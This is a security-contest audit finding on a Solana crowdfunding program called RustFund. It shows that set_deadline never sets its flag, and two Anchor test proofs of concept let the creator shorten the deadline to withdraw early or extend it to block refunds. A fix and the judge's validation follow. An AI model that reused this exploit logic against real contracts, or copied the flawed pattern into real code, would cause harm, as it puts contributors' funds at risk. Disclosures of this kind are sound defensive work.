RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: medium
Valid

Deadline Can Be Set Multiple Times

Summary

Contract logic doesn't properly enforce the “one-time” deadline setting rule via an explicit deadline_set flag, allow creators to repeatedly modify the campaign deadline.

Vulnerability Details

The set_deadline function didn't update deadline_set member of Fund struct to true, which allow creators to change and/or modify deadline several times

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
Ok(())
}

Tools Used

  • Manual Review

  • Anchor Test Case

Proof of Concept

Exploit 1: Shorten the Deadline After Meeting the Goal to Withdraw Funds Early

it("Exploit 1: Shorten the deadline if goal is met to withdraw funds early", async () => {
await initializeFund("Exploit1");
// Contribute enough to meet the goal
await program.methods
.contribute(goal)
.accounts({
fund: fundPDA,
contributor: contributor,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributorPair])
.rpc();
// Fetch fund state after contribution
let fund = await program.account.fund.fetch(fundPDA);
expect(fund.amountRaised.toNumber()).to.equal(goal.toNumber());
// Creator shortens the deadline
const newDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 30); // 30 sec from now
await program.methods
.setDeadline(newDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
// Fetch updated fund state
fund = await program.account.fund.fetch(fundPDA);
expect(fund.deadline.toNumber()).to.equal(newDeadline.toNumber());
console.log("\n🚨 Exploit: Deadline shortened after goal was met, allowing early withdrawal.");
// Creator withdraws funds
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Fetch and print fund state after withdrawal
fund = await program.account.fund.fetch(fundPDA);
console.log("\n💰 Fund state after withdrawal:");
console.log(" - Amount Raised:", fund.amountRaised.toNumber());
});
rustfund
Multiple Deadlines Vulnerability
Contributor balance: 2 SOL
✅ Fund Created and Initial State:
- Fund Name: firstflight FundExploit1
- Fund Description: this program is for firstflight
- Fund Goal: 1000000000
- Fund Deadline: 1742931518
- Fund Amount Raised: 0
- Fund Deadline Set: false
- Fund Creator: 2gtq6DJNVcNKgsDEUSn6qKVy1GbsjNLK297oa5EtH3Qz
🚨 Exploit: Deadline shortened after goal was met, allowing early withdrawal.
💰 Fund state after withdrawal:
- Amount Raised: 1000000000
✔ Exploit 1: Shorten the deadline if goal is met to withdraw funds early (2064ms)
Contributor balance: 0.99855232 SOL

Exploit 2: Extend the Deadline When Goal Isn't Met to Block Refunds

it("Exploit 2: Extend the deadline if goal isn't met to block refunds", async () => {
await initializeFund("Exploit2");
// Contribute a small amount but don't meet the goal
await program.methods
.contribute(smallContribution)
.accounts({
fund: fundPDA,
contributor: contributor,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributorPair])
.rpc();
// Fetch and print amount raised to show goal is NOT met
let fund = await program.account.fund.fetch(fundPDA);
console.log("\n⚠️ Fund state before extending deadline:");
console.log(" - Amount Raised:", fund.amountRaised, "(Goal Not Met)");
expect(fund.amountRaised.toNumber()).to.be.lessThan(goal.toNumber());
// Extend the deadline
const extendedDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 120); // 120 sec from now
await program.methods
.setDeadline(extendedDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
// Wait for original deadline to pass
console.log("\n⏳ Waiting for original deadline to expire...");
await new Promise((resolve) => setTimeout(resolve, 90 * 1000));
// Contributor attempts to refund but it should revert due to deadline bug
try {
await program.methods
.refund()
.accounts({
fund: fundPDA,
contribution: contributionPDA,
contributor: contributor,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributorPair])
.rpc();
console.error("\n❌ Refund succeeded unexpectedly!");
} catch (err) {
expect(err.toString()).to.include("DeadlineNotReached");
console.log("\n✅ Refund failed as expected due to `DeadlineNotReached` bug.");
}
});
✅ Fund Created and Initial State:
- Fund Name: firstflight FundExploit2
- Fund Description: this program is for firstflight
- Fund Goal: 1000000000
- Fund Deadline: 1742931520
- Fund Amount Raised: 0
- Fund Deadline Set: false
- Fund Creator: 2gtq6DJNVcNKgsDEUSn6qKVy1GbsjNLK297oa5EtH3Qz
⚠️ Fund state before extending deadline:
- Amount Raised: (Goal Not Met)
⏳ Waiting for original deadline to expire...
✅ Refund failed as expected due to `DeadlineNotReached` bug.
✔ Exploit 2: Extend the deadline if goal isn't met to block refunds (91688ms)

Impact

  • Business Logic Violation: Creators can bypass the "one-time deadline" rule, undermining contributor trust.

  • Refund Evasion: Malicious creators can extend deadlines indefinitely to avoid refund conditions.

  • Financial Risk: Contributors may lose funds if campaigns never meet goals but deadlines are repeatedly extended.

  • Legal Risk: This vulnerability not only impacts user trust but also affects contract credibility, potentially leading to legal and reputational risks for the protocol.

Recommendations

Option One (Not Recommended/ less favorable):


Update the set_deadline function to set deadline_set = true after setting the deadline to enforce immutability after the first successful call.

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.deadline_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
fund.deadline_set = true;
Ok(())
}

Option Two (Recommended):

Set all funding details, including the deadline, at the time of fund creation fund_create function to eliminate the need for a separate deadline-setting function.

Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Deadline set flag is not updated in `set_deadline` function

SashaFlores Submitter
3 months ago
bube Lead Judge
3 months ago
bube Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Deadline set flag is not updated in `set_deadline` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.